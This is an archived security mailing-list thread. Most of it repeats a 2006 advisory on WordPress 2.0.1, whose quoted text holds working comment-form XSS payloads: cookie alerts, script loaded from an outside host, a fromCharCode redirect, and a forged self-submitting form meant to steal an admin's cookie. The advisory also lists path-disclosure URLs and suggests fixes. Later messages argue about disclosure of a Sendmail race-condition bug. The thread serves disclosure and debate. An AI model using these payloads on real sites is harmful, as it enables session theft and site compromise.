> that the script is going to be called to be declared.
> This kind of bug its taken as a Low Risk bug, but it can help=20
> to future attacks.
>=20
> - Exploit
> ---------------------------------------------------------------
> -- Cross Site Scripting (XSS)
> PoC:
> [1] Post a comment with the following values (as unregistered user):
>     (No possible profit)
>=20
> Name   : "><script>alert("WordPress PoC from");</script>
> Mail   : neosecurityteam@nst.net
> Website: "><script>alert("[N]eo[S]ecurity[T]eam www.neosecurityteam.net=
");</script>
> Comment: www.neosecurityteam.net/foro/
>=20
> The injected HTML code only affects the user that posted it, not others=
=2E
>=20
> [2] This way its more intresting and useful.=20
> In this case the HTML Injected will stay in the board affecting each pe=
rson=20
> who see it.=20
> But we have two problems:
> [I ]- This comment must be posted by the admin
> [II]- We only can use the `comment field, because the admin form to ma=
ke=20
>       the comment doesnt need the `name or `website.
>       Also the injected code cannot have any " or  chars.
>=20
> Here are my solutions:
> [I ]- We cannot give to the admin a `malicius URL to steal the cookie
>       because it isnt via GET, its via POST. So the solution its to =

>       make a copy form of the real one and set the default values to=20
>       the corresonding field (`comment) to make the stealing.
>       Also make the form submit itself when the page loads. Thus, we gi=
ve=20
>       the admin the URL of this form and he/she will post the comment=20
>       with the values we set before. :)
> [II]- We can only use this field to make the injection, the `big probl=
em=20
>       its that we cannot use " or  chars wich means that something lik=
e=20
>       window.location =3D "http://www.google.com.uy"; wont work.
>     =20
> Here are some real examples:
>=20
> - <script>alert(document.cookie)</script>
> - <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,=

>   100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32=
,
>   78,83,84))</script>
> - <script src=3Dhttp://www.neosecurityteam.net></script>
> - <script>document.location =3D String.fromCharCode(104,116,116,112,58,=
47,
>   47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,=

>   97,109,46,110,101,116)</script>
>=20
> As you can see this bug its exploitable, its only knowing a bit=20
> deeper how to do XSS under some conditions. Therere more=20
> possibilities than described above, investigate yourself.=20
>=20
> -- Full path disclosure & Directory Listing
> Directory Listing: www.victim.com/wordpress/wp-includes/
>=20
> Full path disclosure:
> www.victim.com/wordpress/wp-includes/default-filters.php
> www.victim.com/wordpress/wp-includes/template-loader.php
> www.victim.com/wordpress/wp-admin/edit-form-advanced.php
> www.victim.com/wordpress/wp-admin/edit-form-comment.php
> www.victim.com/wordpress/wp-includes/rss-functions.php
> www.victim.com/wordpress/wp-admin/admin-functions.php
> www.victim.com/wordpress/wp-admin/edit-link-form.php
> www.victim.com/wordpress/wp-admin/edit-page-form.php
> www.victim.com/wordpress/wp-admin/admin-footer.php
> www.victim.com/wordpress/wp-admin/menu-header.php
> www.victim.com/wordpress/wp-includes/locale.php
> www.victim.com/wordpress/wp-admin/edit-form.php
> www.victim.com/wordpress/wp-includes/wp-db.php
> www.victim.com/wordpress/wp-includes/kses.php
> www.victim.com/wordpress/wp-includes/vars.php
> www.victim.com/wordpress/wp-admin/menu.php
> www.victim.com/wordpress/wp-settings.php
>=20
> - Solutions
> ---------------------------------------------------------------
> <+ Cross Site Scripting (XSS) +>
> Change lines ~21 of wp-comments-post.php to:
> $comment_author       =3D htmlentities(trim($_POST[author]));
> $comment_author_email =3D htmlentities(trim($_POST[email]));
> $comment_author_url   =3D htmlentities(trim($_POST[url]));
> $comment_content      =3D htmlentities(trim($_POST[comment]));
>=20
> <+ Full Path Disclosure & Directory Listing +>
> In the first line of each vulnerable file you should write:
>  if (eregi(name_of_the_file.php, $_SERVER[PHP_SELF]))
>      die(You are not allowed to see this page directly);
>=20
> - References
> ---------------------------------------------------------------
> http://NeoSecurityTeam.net/advisories/Advisory-17.txt
>=20
> - Credits
> --------------------------------------------------------------
> Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com
>=20
> [N]eo [S]ecurity [T]eam [NST]=AE - http://NeoSecurityTeam.net/
>=20
> Irc.InfoGroup.cl #neosecurityteam
> Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/
>=20
> - Greets
> ---------------------------------------------------------------
> Paisterist=20
> HaCkZaTaN=20
> Link=20
> Daemon21=20
> erg0t=20
> NST Comunity!
>=20
> @@@@@@@@@@@@@@@@@@@@@@@@@@@@
> @@@@@@@@@@@@@@@@@
> @@@@@@@@@@@@@@@@@@@@
> @@@@@@@@@@@@
> @@@@@@@@@@@@@@@@@@@@@
> */


--------------enig402165911890719F9179F883
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)

iD8DBQFEBcKmck4kcwaj+YIRArPsAJ4hi9CDA2qyKOrLflZkOrjDSrZygACfeAWp
751YrNNmKPsrwup3n4L6pfo=
=jJYN
-----END PGP SIGNATURE-----

--------------enig402165911890719F9179F883--


From: Daniele Muscetta muscetta@gmail.com
Sent: Wed 1. Mar 2006 22:22
On 3/1/06, Javor Ninov <drfrancky@securax.org> wrote:
> wp-content/ is also prone to directory listing

sure, which you can enable and disable with an .htaccess file or by
placing an empty index.html file in it....

I mean, thats the dir thats used to upload content (usually images
used in the blog posts and so on, so files you would see anyway).....
whats the deal with it ?


From: "ad@heapoverflow.com" ad@heapoverflow.com
Sent: Wed 1. Mar 2006 23:01
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
> Risk: Critical! Impact: XSS, Full Path Disclosure, Directory
> Listing

Here a critical bug is an arbitrary command execution, account ownage, etc
an XSS isnt at all critical...

> <+ Full path disclosure & Directory listing +> When I discovered
> this bug, I reported it to some pepople before public disclosure, I
> was noticed that this isnt new and I decided to look why they
> havent patch this bug.

so its not that critical, medium but nothing critical ...



Javor Ninov wrote:
> wp-content/ is also prone to directory listing
>
>
> Javor Ninov aka DrFrancky
>
> k4p0k4p0@hotmail.com wrote:
>> /*
>> ---------------------------------------------------------------
>> [N]eo [S]ecurity [T]eam [NST]® WordPress 2.0.1 Multiple
>> Vulnerabilities
>> ---------------------------------------------------------------
>> Program : WordPress 2.0 Homepage: http://www.wordpress.org
>> Vulnerable Versions: WordPress 2.0.1 & lower ones Risk: Critical!
>>  Impact: XSS, Full Path Disclosure, Directory Listing
>>
>> -> WordPress 2.0.1 Multiple Vulnerabilities <-
>> ---------------------------------------------------------------
>>
>> - Description
>> ---------------------------------------------------------------
>> WordPress is a state-of-the-art semantic personal publishing
>> platform with a focus on aesthetics, web standards, and
>> usability. What a mouthful. WordPress is both free and priceless
>> at the same time.
>>
>> - Tested
>> ---------------------------------------------------------------
>> Tested in localhost & many blogs
>>
>> - Bug
>> ---------------------------------------------------------------
>> The vendor was contacted about some other coding errors that are
>> not described here, the vendor was noticed about these bugs when
>> this advisory was published.
>>
>> <+ Multiple XSS +> Therere multiple XSS in `post comment:
>>
>> [1] `name variable is not filtered when its assigned to `value
>>  on the `<input> in the form when the comment its posted. [2]
>> Happends the same as [1] with `website variable. [3] `comment,
>> this variable only filtered " and  chars, this makes possible to
>> use < and >, thus this permit an attacker to inject any HTML (or
>> script) code that he/she want but without any " or  character,
>> this only happends if the user that post the comment its the
>> admin (any registered kind of `user).
>>
>> If you (or victim) is a unregistered user, you can use " and  in
>> your HTML/script Injection using `name or `website variables,
>> but if the victim is the admin or a registered user these 2
>> fields described above arent availabe in the form so you cannot
>> even give a value to them. The only remaining option its to use
>> the `comment variable but here we have the problem that we
>> cannot use " or  in HTML/SCRIPT Injected and we have to make the
>> admin to post the comment (POST method).
>>
>> <+ Full path disclosure & Directory listing +> When I discovered
>> this bug, I reported it to some pepople before public disclosure,
>> I was noticed that this isnt new and I decided to look why they
>> havent patch this bug.
>>
>> As this bug it isnt patched yet, I tryed to know why and I found
>>  something like this in their forum (I dont know if the person
>> that posted this was the admin but it gives the explanation):
>> (Something like the following, its not textual). `... these bugs
>> are caused by badly configured .ini file, its not a bug
>> generated by the script so it cannot be accepted as a bug of
>> WordPress.... This is not an acceptable answer, if you think it
>> is, a bug caused because of register_globals is Off its .ini
>> fault and not the script, they have to be kidding, if they want
>> to make good software, they have to make as far as the language
>> can, to prevent all bugs.
>>
>> Therere multiple files that dont check if they are been call
>> directly. This is a problem because they expect that functions
>> that the script is going to be called to be declared. This kind
>> of bug its taken as a Low Risk bug, but it can help to future
>> attacks.
>>
>> - Exploit
>> ---------------------------------------------------------------
>> -- Cross Site Scripting (XSS) PoC: [1] Post a comment with the
>> following values (as unregistered user): (No possible profit)
>>
>> Name   : "><script>alert("WordPress PoC from");</script> Mail   :
>> neosecurityteam@nst.net Website:
>> "><script>alert("[N]eo[S]ecurity[T]eam
>> www.neosecurityteam.net");</script> Comment:
>> www.neosecurityteam.net/foro/
>>
>> The injected HTML code only affects the user that posted it, not
>> others.
>>
>> [2] This way its more intresting and useful. In this case the
>> HTML Injected will stay in the board affecting each person who
>> see it. But we have two problems: [I ]- This comment must be
>> posted by the admin [II]- We only can use the `comment field,
>> because the admin form to make the comment doesnt need the
>> `name or `website. Also the injected code cannot have any " or
>>  chars.
>>
>> Here are my solutions: [I ]- We cannot give to the admin a
>> `malicius URL to steal the cookie because it isnt via GET, its
>> via POST. So the solution its to make a copy form of the real
>> one and set the default values to the corresonding field
>> (`comment) to make the stealing. Also make the form submit
>> itself when the page loads. Thus, we give the admin the URL of
>> this form and he/she will post the comment with the values we set
>> before. :) [II]- We can only use this field to make the
>> injection, the `big problem its that we cannot use " or  chars
>> wich means that something like window.location =
>> "http://www.google.com.uy"; wont work.
>>
>> Here are some real examples:
>>
>> - <script>alert(document.cookie)</script> -
>> <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
>> 
>> 100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
>>  78,83,84))</script> - <script
>> src=http://www.neosecurityteam.net></script> -
>> <script>document.location =
>> String.fromCharCode(104,116,116,112,58,47,
>> 47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
>>  97,109,46,110,101,116)</script>
>>
>> As you can see this bug its exploitable, its only knowing a bit
>>  deeper how to do XSS under some conditions. Therere more
>> possibilities than described above, investigate yourself.
>>
>> -- Full path disclosure & Directory Listing Directory Listing:
>> www.victim.com/wordpress/wp-includes/
>>
>> Full path disclosure:
>> www.victim.com/wordpress/wp-includes/default-filters.php
>> www.victim.com/wordpress/wp-includes/template-loader.php
>> www.victim.com/wordpress/wp-admin/edit-form-advanced.php
>> www.victim.com/wordpress/wp-admin/edit-form-comment.php
>> www.victim.com/wordpress/wp-includes/rss-functions.php
>> www.victim.com/wordpress/wp-admin/admin-functions.php
>> www.victim.com/wordpress/wp-admin/edit-link-form.php
>> www.victim.com/wordpress/wp-admin/edit-page-form.php
>> www.victim.com/wordpress/wp-admin/admin-footer.php
>> www.victim.com/wordpress/wp-admin/menu-header.php
>> www.victim.com/wordpress/wp-includes/locale.php
>> www.victim.com/wordpress/wp-admin/edit-form.php
>> www.victim.com/wordpress/wp-includes/wp-db.php
>> www.victim.com/wordpress/wp-includes/kses.php
>> www.victim.com/wordpress/wp-includes/vars.php
>> www.victim.com/wordpress/wp-admin/menu.php
>> www.victim.com/wordpress/wp-settings.php
>>
>> - Solutions
>> ---------------------------------------------------------------
>> <+ Cross Site Scripting (XSS) +> Change lines ~21 of
>> wp-comments-post.php to: $comment_author       =
>> htmlentities(trim($_POST[author])); $comment_author_email =
>> htmlentities(trim($_POST[email])); $comment_author_url   =
>> htmlentities(trim($_POST[url])); $comment_content      =
>> htmlentities(trim($_POST[comment]));
>>
>> <+ Full Path Disclosure & Directory Listing +> In the first line
>> of each vulnerable file you should write: if
>> (eregi(name_of_the_file.php, $_SERVER[PHP_SELF])) die(You
>> are not allowed to see this page directly);
>>
>> - References
>> ---------------------------------------------------------------
>> http://NeoSecurityTeam.net/advisories/Advisory-17.txt
>>
>> - Credits
>> --------------------------------------------------------------
>> Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com
>>
>> [N]eo [S]ecurity [T]eam [NST]® - http://NeoSecurityTeam.net/
>>
>> Irc.InfoGroup.cl #neosecurityteam Questions? (Eng | Spa) ->
>> http://NeoSecurityTeam.net/foro/
>>
>> - Greets
>> ---------------------------------------------------------------
>> Paisterist HaCkZaTaN Link Daemon21 erg0t NST Comunity!
>>
>> @@@@@@@@@@@@@@@@@@@@@@@@@@@@
>> @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@
>> @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ */
>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
 
iQIVAwUBRAYZ16+LRXunxpxfAQLBShAAxf21wL1qEpzb1ATERVMwvMoGPKC9PQ3D
CdOZ9Sp0RTZTxLvpWj/6Q3dWp1jn4JB4feXOsD2r55Z45APHcsFNVlUpz/NkrSE+
mEdcj6BhvYq5vPCN8MJbI89L5x5wovKugPA3LGeOFXDnkaCJQXjXJskHV9uJvVLw
Ko1qfr7hmChLWG/1U/4Dfo4Mndq8kw0S7AIwoEMNogd0wgO/sDYrCXyRm6XIGtRf
BM33Gai17YSPi0TlJe4X8+Cyr0ibEKbmJVCJ1cm/s1bQDYHrct0fMb/zRzwczWWe
oSOXK6rM8COQMh9MS+nlCsLIZvkir7Ztp486MOjZ7rkNKIb5q9TIYHzg7UsOh7yM
QOz1tI26Apxy0w1dNNX/fyKAhHMmcMtI1jfMOC/Bo+3L+JZedcCTo4uHkp9xzOkg
k2I8j/QvScdSF+iBueIe9QZQDfd7n5GuoRDpMn47FOAOmMonx4qD+mOvFwPFPuZv
sbitRSEa5BQTYCU5CRflalzEX+H5F9aCrMqQGcRhlygC+ONXDuTCVroR9Cticxbt
QkIw6kgXd9ndUtiaVjG0gObB72NQxh/CMlQCClgZwhgHFSVeHbxUhlofwytjO0Y3
/ss9ehywwLTirq90jjEN51Q6Auun3YXeXxGH5XBkMI9gxo2Wj4x5TudpeS6cJTji
N8IhY+gLiQA=
=LKCE
-----END PGP SIGNATURE-----



From: Chris Hajer chrishajer@usa.net
Sent: Thu 2. Mar 2006 07:43
The default on 1.5.2, 2.0 and 2.0.1 is to automatically approve comments 
without moderation IF the following are true:

-  The comment author has filled out name and e-mail (trivial)

-  The comment author must have a previously approved comment (not so trivial)

This means the first comment must be approved by an admin before subsequent 
comments appear automatically (by default.)  It is also easy to make all 
comments require administrator approval:

Admin Panel > Options > Discussion:
Check "An administrator must approve the comment"

Regarding %22 being filtered in comments, I do not know.




On Tuesday February 28, 2006 11:19, Michael.Wade@ferguson.com wrote:
> I see this only as a problem if the admin has it set to automatically
> post comments. Does anyone know if this is the behavior on a default
> installation? That and idiot admins approving a comment with bad code in
> it.
>
> And what about filtering out %22? Does it do this already?
>
> -----Original Message-----
> From: k4p0k4p0@hotmail.com [mailto:k4p0k4p0@hotmail.com]
> Sent: Monday, February 27, 2006 6:31 PM
> To: bugtraq@securityfocus.com
> Subject: WordPress 2.0.1 Multiple Vulnerabilities
>
> /*
> ---------------------------------------------------------------
> [N]eo [S]ecurity [T]eam [NST](r) WordPress 2.0.1 Multiple
> Vulnerabilities
> ---------------------------------------------------------------
> Program : WordPress 2.0
> Homepage: http://www.wordpress.org
> Vulnerable Versions: WordPress 2.0.1 & lower ones
> Risk: Critical!
> Impact: XSS, Full Path Disclosure, Directory Listing
>
> -> WordPress 2.0.1 Multiple Vulnerabilities <-
> ---------------------------------------------------------------
>
> - Description
> ---------------------------------------------------------------
> WordPress is a state-of-the-art semantic personal publishing
> platform with a focus on aesthetics, web standards, and usability.
> What a mouthful. WordPress is both free and priceless at the same time.
>
> - Tested
> ---------------------------------------------------------------
> Tested in localhost & many blogs
>
> - Bug
> ---------------------------------------------------------------
> The vendor was contacted about some other coding errors that are not
> described here, the vendor was noticed about these bugs when this
> advisory was published.
>
> <+ Multiple XSS +>
> Therere multiple XSS in `post comment:
>
> [1] `name variable is not filtered when its assigned to `value
>     on the `<input> in the form when the comment its posted.
> [2] Happends the same as [1] with `website variable.
> [3] `comment, this variable only filtered " and  chars, this makes
>     possible to use < and >, thus this permit an attacker to inject
>     any HTML (or script) code that he/she want but without any " or 
>     character, this only happends if the user that post the comment its
>
>     the admin (any registered kind of `user).
>
> If you (or victim) is a unregistered user, you can use " and  in your
> HTML/script Injection using `name or `website variables, but if the
> victim is the admin or a registered user these 2 fields described above
> arent availabe in the form so you cannot even give a value to them.
> The only remaining option its to use the `comment variable but here
> we have the problem that we cannot use " or  in HTML/SCRIPT Injected
> and
> we have to make the admin to post the comment (POST method).
>
> <+ Full path disclosure & Directory listing +>
> When I discovered this bug, I reported it to some pepople before
> public disclosure, I was noticed that this isnt new and I
> decided to look why they havent patch this bug.
>
> As this bug it isnt patched yet, I tryed to know why and I found
> something like this in their forum (I dont know if the person
> that posted this was the admin but it gives the explanation):
> (Something like the following, its not textual).
> `... these bugs are caused by badly configured .ini file, its not
> a bug generated by the script so it cannot be accepted as a bug of
> WordPress.... This is not an acceptable answer, if you think it is,
> a bug caused because of register_globals is Off its .ini fault and not
> the script, they have to be kidding, if they want to make good software,
>
> they have to make as far as the language can, to prevent all bugs.
>
> Therere multiple files that dont check if they are been call
> directly. This is a problem because they expect that functions
> that the script is going to be called to be declared.
> This kind of bug its taken as a Low Risk bug, but it can help
> to future attacks.
>
> - Exploit
> ---------------------------------------------------------------
> -- Cross Site Scripting (XSS)
> PoC:
> [1] Post a comment with the following values (as unregistered user):
>     (No possible profit)
>
> Name   : "><script>alert("WordPress PoC from");</script>
> Mail   : neosecurityteam@nst.net
> Website: "><script>alert("[N]eo[S]ecurity[T]eam
> www.neosecurityteam.net");</script>
> Comment: www.neosecurityteam.net/foro/
>
> The injected HTML code only affects the user that posted it, not others.
>
> [2] This way its more intresting and useful.
> In this case the HTML Injected will stay in the board affecting each
> person
> who see it.
> But we have two problems:
> [I ]- This comment must be posted by the admin
> [II]- We only can use the `comment field, because the admin form to
> make
>       the comment doesnt need the `name or `website.
>       Also the injected code cannot have any " or  chars.
>
> Here are my solutions:
> [I ]- We cannot give to the admin a `malicius URL to steal the cookie
>       because it isnt via GET, its via POST. So the solution its to
>       make a copy form of the real one and set the default values to
>       the corresonding field (`comment) to make the stealing.
>       Also make the form submit itself when the page loads. Thus, we
> give
>       the admin the URL of this form and he/she will post the comment
>       with the values we set before. :)
> [II]- We can only use this field to make the injection, the `big
> problem
>       its that we cannot use " or  chars wich means that something like
>
>       window.location = "http://www.google.com.uy"; wont work.
>
> Here are some real examples:
>
> - <script>alert(document.cookie)</script>
> - <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
>   100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
>   78,83,84))</script>
> - <script src=http://www.neosecurityteam.net></script>
> - <script>document.location = String.fromCharCode(104,116,116,112,58,47,
>   47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
>   97,109,46,110,101,116)</script>
>
> As you can see this bug its exploitable, its only knowing a bit
> deeper how to do XSS under some conditions. Therere more
> possibilities than described above, investigate yourself.
>
> -- Full path disclosure & Directory Listing
> Directory Listing: www.victim.com/wordpress/wp-includes/
>
> Full path disclosure:
> www.victim.com/wordpress/wp-includes/default-filters.php
> www.victim.com/wordpress/wp-includes/template-loader.php
> www.victim.com/wordpress/wp-admin/edit-form-advanced.php
> www.victim.com/wordpress/wp-admin/edit-form-comment.php
> www.victim.com/wordpress/wp-includes/rss-functions.php
> www.victim.com/wordpress/wp-admin/admin-functions.php
> www.victim.com/wordpress/wp-admin/edit-link-form.php
> www.victim.com/wordpress/wp-admin/edit-page-form.php
> www.victim.com/wordpress/wp-admin/admin-footer.php
> www.victim.com/wordpress/wp-admin/menu-header.php
> www.victim.com/wordpress/wp-includes/locale.php
> www.victim.com/wordpress/wp-admin/edit-form.php
> www.victim.com/wordpress/wp-includes/wp-db.php
> www.victim.com/wordpress/wp-includes/kses.php
> www.victim.com/wordpress/wp-includes/vars.php
> www.victim.com/wordpress/wp-admin/menu.php
> www.victim.com/wordpress/wp-settings.php
>
> - Solutions
> ---------------------------------------------------------------
> <+ Cross Site Scripting (XSS) +>
> Change lines ~21 of wp-comments-post.php to:
> $comment_author       = htmlentities(trim($_POST[author]));
> $comment_author_email = htmlentities(trim($_POST[email]));
> $comment_author_url   = htmlentities(trim($_POST[url]));
> $comment_content      = htmlentities(trim($_POST[comment]));
>
> <+ Full Path Disclosure & Directory Listing +>
> In the first line of each vulnerable file you should write:
>  if (eregi(name_of_the_file.php, $_SERVER[PHP_SELF]))
>      die(You are not allowed to see this page directly);
>
> - References
> ---------------------------------------------------------------
> http://NeoSecurityTeam.net/advisories/Advisory-17.txt
>
> - Credits
> --------------------------------------------------------------
> Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com
>
> [N]eo [S]ecurity [T]eam [NST](r) - http://NeoSecurityTeam.net/
>
> Irc.InfoGroup.cl #neosecurityteam
> Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/
>
> - Greets
> ---------------------------------------------------------------
> Paisterist
> HaCkZaTaN
> Link
> Daemon21
> erg0t
> NST Comunity!
>
> @@@@@@@@@@@@@@@@@@@@@@@@@@@@
> @@@@@@@@@@@@@@@@@
> @@@@@@@@@@@@@@@@@@@@
> @@@@@@@@@@@@
> @@@@@@@@@@@@@@@@@@@@@
> */


From: Dragos Ruiu dr@kyx.net
Sent: Thu 23. Mar 2006 12:13
On March 23, 2006 01:41 am, Gadi Evron wrote:
> Heres what ISS releasing the Race Condition vulnerability has to say:
> http://xforce.iss.net/xforce/alerts/id/216
> They say its a remote code execution. They say its a race condition. No
> real data available to speak of. I cant see how its remotely
> exploitable, but well, no details, remember? From what we can see it seems
> like a DoS.

ISSs Mark Dowd is very clever guy. And if duke says its exploitable
I would believe him :-).  Its an interesting new vector anyway.

But like all timing related attacks, the question is reliability.
Though gossip has it, this one is repeatable with sub-100 attempts
and you get infinite shots at it because even if the process 
does die its a child of the parent listener. (So it is not really
a DoS per se in any case.)

>
> Bottom line
> -----------
> What they did behind the smoke-screen is replace a lot of setjmp() and
> longjmp() functions (not very secure ones at that) with gotos
> (interesting choice).

Smoke screen seems like unfarily loaded terminology to use.

OpenBSD fixed (removed) many setjmp/longjmp functions in their
tree a long time ago as a class of bugs. (Though this sendmail 
exploitable collecttimeout() longjmp one is new and they patched
it yesterday with everyone else, because as you noted, replacing
it was kinda hairy...)

I dont think its fair to bitch about people fixing bugs and then not
having the time to send out advisories for every little tweak.
The important thing is to fix the bug. And often times the 
developer wont understand the real impact of fixing a bug 
until someone clever like Mark comes up with some innovative
way to exploit an "unexploitable" bug like this one.

What will be interesting to see when the PoC exploits are 
finally released, is if any of the memory/stack protection schemes
mitigate it.

<humor>
Besides, there is only one true mailer to mail them all,
and its name is Postfix.
</humor>

Now if we could only convince Mr. Venema to switch 
to a BSD license _everyone_ would switch to Postfix
and everything would be much better. If it werent for
that "poison pill" clause in its license, Im sure most
OSes and commercial systems would have swapped 
out Sendmail for Postfix long ago.

cheers,
--dr

-- 
World Security Pros. Cutting Edge Training, Tools, and Techniques
Vancouver, Canada    April 3-7 2006     http://cansecwest.com
pgpkey http://dragos.com/ kyxpgp


From: Theo de Raadt deraadt@cvs.openbsd.org
Sent: Thu 23. Mar 2006 19:52
> Sendmail is, as we know, the most used daemon for SMTP in the world. This
> is an International Infrastructure vulnerability and should have been
> treated that way. It wasnt. It was handled not only poorly, but
> irresponsibly.

You would probably expect me to the be last person to say that Sendmail
is perfectly within their rights.  I have had a lot of problems with
what they are doing.

But what did you pay for Sendmail?  Was it a dollar, or was it more?  Let
me guess.  It was much less than a dollar.  I bet you paid nothing.

So does anyone owe you anything, let alone a particular process which
you demand with such length?

Now, the same holds true with OpenSSH.  Ill tell you what.  If there
is ever a security problem (again :) in OpenSSH we will disclose it
exactly like we want, and in no other way, and quite frankly since
noone has ever paid a cent for its development they have nothing they
can say about it.

Dear non-paying user -- please remember your place.

Or run something else.

OK?

Luckily within a few months you will be able to tell Sendmail how
to disclose their bugs because their next version is going to come
out with a much more commercial licence.  Then you can pay for it,
and then you can complain too.


From: Claus Assmann ca+bugtraq@zardoc.endmail.org
Sent: Thu 23. Mar 2006 19:08
On Thu, Mar 23, 2006, Gadi Evron wrote:

> To begin with, anyone noticed the memory leak they (Sendmail) silently
> patched?

Hmm, which one? Please read the code carefully and tell me where
the leak is (was).

> Second, the Integer Overflow is practical, not theoretical.

It is avoided by the standard configuration.

> They say its a remote code execution. They say its a race condition. No
> real data available to speak of. I cant see how its remotely
> exploitable, but well, no details, remember? From what we can see it seems

Ask ISS about the exploit. It definitely is a programming bug,
just read the man page for setjmp() on an OpenBSD system.

> What they did behind the smoke-screen is replace a lot of setjmp() and

Which "smoke-screen"?

> longjmp() functions (not very secure ones at that) with gotos
> (interesting choice).

Whats interesting about that?
if (function-call == failed) goto error-handler;
seems like a common way to deal with "fatal" errors (and an I/O
error in an SMTP server means you have to abort the connection).
How do you deal with errors?

> The int overflow is possibly exploitable, not very sure about the

First you have to turn off the default limit.

> jumps. No idea why ISS says the Race Condition is, would love insight.

Ask ISS.

> Sendmails announcement
> -----------------------
> Obscure. Not worth any other comments other than the ones above.

Whats obscure about http://www.sendmail.org/8.13.6.html ?

> Not to mention the silently patched memory leak.

Please check your facts.

> It took Sendmail a mounth to fix this. A mounth.

No. It took sendmail a week to fix this.  The rest of the time was
used to coordinate the release with all the involved vendors etc.

Can you do me a favor? Next time you want to spread information
about a "memory leak" or something similar: contact the author(s)
first. See sendmail.orgs website.

PS: I dont speak for anyone but me.


From: Eric Allman eric+bugtraq@neophilic.com
Sent: Thu 23. Mar 2006 22:27
I have to comment on these allegations by Gadi Evron.

> Tech details:
> Sendmail vulnerabilities were released yesterday. No real public
> announcements to speak of to the security community.

Sendmail, CERT, and ISS Advisories went out.  Thats not a "real 
public announcement"?

> SecuriTeam released some data:
> "Improper timeout calculation, usage of memory jumps and integer
> overflows allow attackers to perfom a race condition DoS on
> sendmail, and may also execute arbitrary code."
> More here: http://www.securiteam.com/unixfocus/5RP0L0UI0S.html
>
> ISS only reported the Race Condition (DoS?). The Sendmail Advisory
> reported the Race Condition DoS, the Memory Jumps and a
> "theoretical" Integer Overflow.
>
> To begin with, anyone noticed the memory leak they (Sendmail)
> silently patched?
> I wonder how many other unreported silently-patched
> vulnerabilities are out there?

There was no memory leak.  Look at the code referred to by SecuriTeam 
(see <http://www.securiteam.com/unixfocus/5SP0M0UI0G.html>):

/* clean up buf after it has been expanded with args */
 newstring = str2prt(buf);
 if ((strlen(newstring) + idlen + 1) < SYSLOG_BUFSIZE)
 {
...
  if (buf == buf0)
   buf = NULL;     <- Memory leak
  errno = save_errno;
  return;
 }

The part they conveniently left out is that buf0 is a local variable. 
If buf == buf0 then you dont need to free it --- freeing it would, 
in fact, be a bug.  This should be obvious to anyone looking at the 
code.

> Second, the Integer Overflow is practical, not theoretical.

It is theoretical because the routines in question (rewrite() and 
rscheck()) are part of the rewriting engine, which always takes a 
fixed size buffer as input.  There just isnt a way for the overflow 
to ever occur.  We fixed it because it was the right thing to do.

> ISS reported the Race Condition last mounth. There is NO data
> available on when the other vulnerabilities were discovered. Any
> guesses?

The "memory jumps" is part of the race condition, not a separate 
problem.  The integer overflow problem came to our attention shortly 
thereafter.

> They also patched many non-security related bugs, added checks and
> more informative error messages, etc.

In 8.13.6?  Are you suggesting that it is irresponsible of us to 
continue to develop code?  If you want just the security patch, apply 
the security patch, which we made available at the same time.

> Sendmail is, as we know, the most used daemon for SMTP in the
> world. This is an International Infrastructure vulnerability and
> should have been treated that way. It wasnt. It was handled not
> only poorly, but irresponsibly.
>
> Heres what ISS releasing the Race Condition vulnerability has to
> say: http://xforce.iss.net/xforce/alerts/id/216
> They say its a remote code execution. They say its a race
> condition. No real data available to speak of. I cant see how its
> remotely exploitable, but well, no details, remember? From what we
> can see it seems like a DoS.

To be blunt, we dont understand much more about it than all of you 
do.  It is an extremely subtle problem that involves making an alarm 
signal occur in a very small section of code as the result of a 
multi-minute timeout.  The signal causes a longjmp that can leave a 
piece of code in an inconsistent state.  ISS explained it to us and 
told us that they had managed to craft an exploit in their lab, but 
frankly we dont see how it can be practical.  This literally 
requires nanosecond precision in the millisecond world of networking.

> Bottom line
> -----------
> What they did behind the smoke-screen is replace a lot of setjmp()
> and longjmp() functions (not very secure ones at that) with gotos
> (interesting choice).

Theres a big difference between a synchronous goto in a single 
context versus an asynchronous longjmp() between contexts.

> They changed the logic of the code, replaced everything that
> calculated timeout. Anything that calculated something and returned
> a value now returns a boolean result, when previously they just
> returned void. They used to look at the content rather than success.

When we got rid of the longjmp() we had to propagate I/O errors the 
hard way --- as return values.  This involved adding a lot of 
checking.  Painful, but necessary.

> The int overflow is possibly exploitable, not very sure about the
> jumps. No idea why ISS says the Race Condition is, would love
> insight.

Ive already commented on this.

> Public announcement
> -------------------
> FreeBSD were the only ones who released a public announcement of a
> patch and emailed it to bugtraq so far.

Talk to the vendors.  Ive seen quite a few of their advisories come 
by.

> The patches
> -----------
> The FreeBSD patch much like the sendmail.org patch is very long,
> complicated and obscure. The release was made along with a ton of
> other patches for FreeBSD. Go figure whats in there.

FreeBSD updated to 8.13.6 rather than using 8.13.5+patches.  This is 
what we are recommending for everyone.

> Sendmail.coms patch is so big they may as well have re-released
> the whole program.

You mean the patch to 8.13.5?  Yes, its large, because of the 
necessity of propagating the error return back.  And we DID release 
the whole program (thats 8.13.6), which is what we STRONGLY 
recommend everyone use.

> ...
> Commentary
> ----------
> One could say ISS and Sendmail did good, obscuring the information
> so that the vulnerability-to-exploit time will be longer. That
> proved wrong, useless and pointless. They failed.

You say that giving you the source code is "obscuring the 
information"?

